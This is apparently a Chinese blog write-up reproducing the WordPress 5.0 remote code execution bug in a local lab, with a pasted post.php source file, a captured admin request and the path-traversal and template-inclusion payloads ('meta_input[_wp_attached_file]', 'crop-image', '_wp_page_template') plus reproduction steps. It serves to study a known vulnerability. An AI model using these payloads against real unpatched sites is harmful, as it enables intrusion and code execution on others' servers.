wordpress5.0分析和漏洞调试初试

一、WordPress源码分析

wordpress是单一入口,最初调用的是index.php

define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

index.php-> wp-blog->header.php,执行wp()

	require_once( dirname( __FILE__ ) . '/wp-load.php' );

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once( ABSPATH . WPINC . '/template-loader.php' );

—> wp-load.php

—>wp-config.php 配置数据库等

—> wp-setting.php

二、WordPress5.0漏洞调试分析

define('AUTOMATIC_UPDATER_DISABLED',true);

在登陆后台之前在wp-config.php中加入这个,要不然wp会自动更新修复Bug

(1)WordPress 5.0 RCE 详细分析

https://paper.seebug.org/822/

看到在上传图片文件后,修改信息update的时候处理的php文件为/wp-admin/post.php

POST /WordPress/wp-admin/post.php HTTP/1.1
Host: 192.168.1.38
Content-Length: 1024
Cache-Control: max-age=0
Origin: http://192.168.1.38
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.1.38/WordPress/wp-admin/post.php?post=37&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_e3ca52951c734d0cd487abb89556b35d=admin%7C1559267601%7C3e0fbRXKxUTgAvOqi1C6uyuxv9ml7vKsFOOQMxWY61f%7C209c5042ff858e675c714458adcf73706902372731d51ffd93417748d6348b23; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_e3ca52951c734d0cd487abb89556b35d=admin%7C1559267601%7C3e0fbRXKxUTgAvOqi1C6uyuxv9ml7vKsFOOQMxWY61f%7Cb58cb1615de8a8e460b252db61702533aeb2c331690ebfdf7f0f938aac4d8f19; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1559094801
Connection: close

_wpnonce=11ee4d6745&_wp_http_referer=%2FWordPress%2Fwp-admin%2Fpost.php%3Fpost%3D37%26action%3Dedit&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F192.168.1.38%2FWordPress%2Fwp-admin%2Fpost.php%3Fpost%3D37%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2F192.168.1.38%2FWordPress%2Fwp-admin%2Fpost.php%3Fpost%3D37%26action%3Dedit&post_ID=37&meta-box-order-nonce=907417e7f4&closedpostboxesnonce=dcc054a1b3&post_title=1&samplepermalinknonce=baeaaafb2f&excerpt=&_wp_attachment_image_alt=&content=11111111111&attachment_url=http%3A%2F%2F192.168.1.38%2FWordPress%2Fwp-content%2Fuploads%2F2019%2F05%2F1-6.jpg%23%2F..%2F..%2F..%2F..%2Fthemes%2Ftwentynineteen%2F16-e1559100927286.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=5665e358d9&_ajax_fetch_list_nonce=1fd62550b6&_wp_http_referer=%2FWordPress%2Fwp-admin%2Fpost.php%3Fpost%3D37%26action%3Dedit&post_name=1-3&post_author_override=1

wp-admin/post.php


/**
 * Edit post administration panel.
 *
 * Manage Post actions: post, edit, delete, etc.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

$parent_file  = 'edit.php';
$submenu_file = 'edit.php';

wp_reset_vars( array( 'action' ) );

if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
	wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( $_GET['post'] ) ) {
	$post_id = $post_ID = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
	$post_id = $post_ID = (int) $_POST['post_ID'];
} else {
	$post_id = $post_ID = 0;
}

/**
 * @global string  $post_type
 * @global object  $post_type_object
 * @global WP_Post $post
 */
global $post_type, $post_type_object, $post;

if ( $post_id ) {
	$post = get_post( $post_id );
}

if ( $post ) {
	$post_type        = $post->post_type;
	$post_type_object = get_post_type_object( $post_type );
}

if ( isset( $_POST['post_type'] ) && $post && $post_type !== $_POST['post_type'] ) {
	wp_die( __( 'A post type mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
}

if ( isset( $_POST['deletepost'] ) ) {
	$action = 'delete';
} elseif ( isset( $_POST['wp-preview'] ) && 'dopreview' == $_POST['wp-preview'] ) {
	$action = 'preview';
}

$sendback = wp_get_referer();
if ( ! $sendback ||
	 strpos( $sendback, 'post.php' ) !== false ||
	 strpos( $sendback, 'post-new.php' ) !== false ) {
	if ( 'attachment' == $post_type ) {
		$sendback = admin_url( 'upload.php' );
	} else {
		$sendback = admin_url( 'edit.php' );
		if ( ! empty( $post_type ) ) {
			$sendback = add_query_arg( 'post_type', $post_type, $sendback );
		}
	}
} else {
	$sendback = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'ids' ), $sendback );
}

switch ( $action ) {
	case 'post-quickdraft-save':
		// Check nonce and capabilities
		$nonce     = $_REQUEST['_wpnonce'];
		$error_msg = false;

		// For output of the quickdraft dashboard widget
		require_once ABSPATH . 'wp-admin/includes/dashboard.php';

		if ( ! wp_verify_nonce( $nonce, 'add-post' ) ) {
			$error_msg = __( 'Unable to submit this form, please refresh and try again.' );
		}

		if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
			exit;
		}

		if ( $error_msg ) {
			return wp_dashboard_quick_press( $error_msg );
		}

		$post = get_post( $_REQUEST['post_ID'] );
		check_admin_referer( 'add-' . $post->post_type );

		$_POST['comment_status'] = get_default_comment_status( $post->post_type );
		$_POST['ping_status']    = get_default_comment_status( $post->post_type, 'pingback' );

		edit_post();
		wp_dashboard_quick_press();
		exit;

	case 'postajaxpost':
	case 'post':
		check_admin_referer( 'add-' . $post_type );
		$post_id = 'postajaxpost' == $action ? edit_post() : write_post();
		redirect_post( $post_id );
		exit();

	case 'edit':
		$editing = true;

		if ( empty( $post_id ) ) {
			wp_redirect( admin_url( 'post.php' ) );
			exit();
		}

		if ( ! $post ) {
			wp_die( __( 'You attempted to edit an item that doesn’t exist. Perhaps it was deleted?' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! in_array( $typenow, get_post_types( array( 'show_ui' => true ) ) ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this item.' ) );
		}

		if ( 'trash' == $post->post_status ) {
			wp_die( __( 'You can’t edit this item because it is in the Trash. Please restore it and try again.' ) );
		}

		if ( ! empty( $_GET['get-post-lock'] ) ) {
			check_admin_referer( 'lock-post_' . $post_id );
			wp_set_post_lock( $post_id );
			wp_redirect( get_edit_post_link( $post_id, 'url' ) );
			exit();
		}

		$post_type = $post->post_type;
		if ( 'post' == $post_type ) {
			$parent_file   = 'edit.php';
			$submenu_file  = 'edit.php';
			$post_new_file = 'post-new.php';
		} elseif ( 'attachment' == $post_type ) {
			$parent_file   = 'upload.php';
			$submenu_file  = 'upload.php';
			$post_new_file = 'media-new.php';
		} else {
			if ( isset( $post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true ) {
				$parent_file = $post_type_object->show_in_menu;
			} else {
				$parent_file = "edit.php?post_type=$post_type";
			}
			$submenu_file  = "edit.php?post_type=$post_type";
			$post_new_file = "post-new.php?post_type=$post_type";
		}

		$title = $post_type_object->labels->edit_item;

		/**
		 * Allows replacement of the editor.
		 *
		 * @since 4.9.0
		 *
		 * @param boolean      Whether to replace the editor. Default false.
		 * @param object $post Post object.
		 */
		if ( apply_filters( 'replace_editor', false, $post ) === true ) {
			break;
		}

		if ( use_block_editor_for_post( $post ) ) {
			include( ABSPATH . 'wp-admin/edit-form-blocks.php' );
			break;
		}

		if ( ! wp_check_post_lock( $post->ID ) ) {
			$active_post_lock = wp_set_post_lock( $post->ID );

			if ( 'attachment' !== $post_type ) {
				wp_enqueue_script( 'autosave' );
			}
		}

		$post = get_post( $post_id, OBJECT, 'edit' );

		if ( post_type_supports( $post_type, 'comments' ) ) {
			wp_enqueue_script( 'admin-comments' );
			enqueue_comment_hotkeys_js();
		}

		include( ABSPATH . 'wp-admin/edit-form-advanced.php' );

		break;

	case 'editattachment':
		check_admin_referer( 'update-post_' . $post_id );

		// Don't let these be changed
		unset( $_POST['guid'] );
		$_POST['post_type'] = 'attachment';

		// Update the thumbnail filename
		$newmeta          = wp_get_attachment_metadata( $post_id, true );
		$newmeta['thumb'] = wp_basename( $_POST['thumb'] );

		wp_update_attachment_metadata( $post_id, $newmeta );

		// Intentional fall-through to trigger the edit_post() call.
	case 'editpost':
		check_admin_referer( 'update-post_' . $post_id );

		$post_id = edit_post();

		// Session cookie flag that the post was saved
		if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) {
			setcookie( 'wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl() );
		}

		redirect_post( $post_id ); // Send user on their way while we keep working

		exit();

	case 'trash':
		check_admin_referer( 'trash-post_' . $post_id );

		if ( ! $post ) {
			wp_die( __( 'The item you are trying to move to the Trash no longer exists.' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) );
		}

		if ( $user_id = wp_check_post_lock( $post_id ) ) {
			$user = get_userdata( $user_id );
			wp_die( sprintf( __( 'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ) );
		}

		if ( ! wp_trash_post( $post_id ) ) {
			wp_die( __( 'Error in moving to Trash.' ) );
		}

		wp_redirect(
			add_query_arg(
				array(
					'trashed' => 1,
					'ids'     => $post_id,
				),
				$sendback
			)
		);
		exit();

	case 'untrash':
		check_admin_referer( 'untrash-post_' . $post_id );

		if ( ! $post ) {
			wp_die( __( 'The item you are trying to restore from the Trash no longer exists.' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) );
		}

		if ( ! wp_untrash_post( $post_id ) ) {
			wp_die( __( 'Error in restoring from Trash.' ) );
		}

		wp_redirect( add_query_arg( 'untrashed', 1, $sendback ) );
		exit();

	case 'delete':
		check_admin_referer( 'delete-post_' . $post_id );

		if ( ! $post ) {
			wp_die( __( 'This item has already been deleted.' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
		}

		if ( $post->post_type == 'attachment' ) {
			$force = ( ! MEDIA_TRASH );
			if ( ! wp_delete_attachment( $post_id, $force ) ) {
				wp_die( __( 'Error in deleting.' ) );
			}
		} else {
			if ( ! wp_delete_post( $post_id, true ) ) {
				wp_die( __( 'Error in deleting.' ) );
			}
		}

		wp_redirect( add_query_arg( 'deleted', 1, $sendback ) );
		exit();

	case 'preview':
		check_admin_referer( 'update-post_' . $post_id );

		$url = post_preview();

		wp_redirect( $url );
		exit();

	case 'toggle-custom-fields':
		check_admin_referer( 'toggle-custom-fields' );

		$current_user_id = get_current_user_id();
		if ( $current_user_id ) {
			$enable_custom_fields = (bool) get_user_meta( $current_user_id, 'enable_custom_fields', true );
			update_user_meta( $current_user_id, 'enable_custom_fields', ! $enable_custom_fields );
		}

		wp_safe_redirect( wp_get_referer() );
		exit();

	default:
		/**
		 * Fires for a given custom post action request.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the custom post action.
		 *
		 * @since 4.6.0
		 *
		 * @param int $post_id Post ID sent with the request.
		 */
		do_action( "post_action_{$action}", $post_id );

		wp_redirect( admin_url( 'edit.php' ) );
		exit();
} // end switch
include( ABSPATH . 'wp-admin/admin-footer.php' );

在admin.php中 进行数据库更新?

includes\post.php

include payload

post_title=Thisis+test&post_name=thisis-testssssssssssaaaaaa&mm=05&jj=29&aa=2019&hh=14&mn=12&ss=27&post_author=1&post_password=&post_category%5B%5D=0&post_category%5B%5D=1&tax_input%5Bpost_tag%5D=&comment_status=open&ping_status=open&_status=publish&_inline_edit=f5199c6225&post_view=list&screen=edit-post&action=inline-save&post_type=post&post_ID=11&edit_date=true&post_status=all&meta_input[_wp_page_template]=cropped-11111.jpg

在复现的过程中要注意的点

php7遇到文件路径的时候会检查某个目录是否存在,如果不存在则停止

所以在利用目录穿越漏洞的时候要在uploads下创建对应的目录

&meta_input[_wp_attached_file]=2019/02/2-4.jpg#/../../../../themes/twentynineteen/32.jpg

就是这个payload

具体操作如下:

先利用update截包修改文件名如下:&meta_input[_wp_attached_file]=2019/02/2-4.jpg#/a.jpg

然后再利用手动截图保存的功能,生成2-4.jpg#这个目录

然后再利用完整的payload的将目录穿越的文件名修改为

&meta_input[_wp_attached_file]=2019/02/2-4.jpg#/../../../../themes/twentynineteen/32.jpg

继而,进行手动截图,加载目录穿越的payload

action=crop-image&_ajax_nonce=8c2f0c9e6b&id=74&cropDetails[x1]=10&cropDetails[y1]=10&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=100&cropDetails[dst_height]=100

这个时候发现图片已经拷贝过去了

在利用文件包含的时候需要注意的是,截到包以后,直接在Intercept这个里面Forward,否则不成功

这里可以加载模板的可以是media里上传一个test.txt也可以是在post中传一篇文章,均测试通过

&meta_input[_wp_page_template]=cropped-32.jpg

调试代码跟不下去了,phpstorm总是跳来跳去的,不知道怎么回事,要是有大神可以指导一下如何调试,我是利用phpstrom+xdebug+firefox+burpsuit,加断点调试,可是进行到图片信息更新的时候,phpstrom就会乱跳。。。先贴上分析链接吧

https://paper.seebug.org/825/

你可能感兴趣的:(web攻防)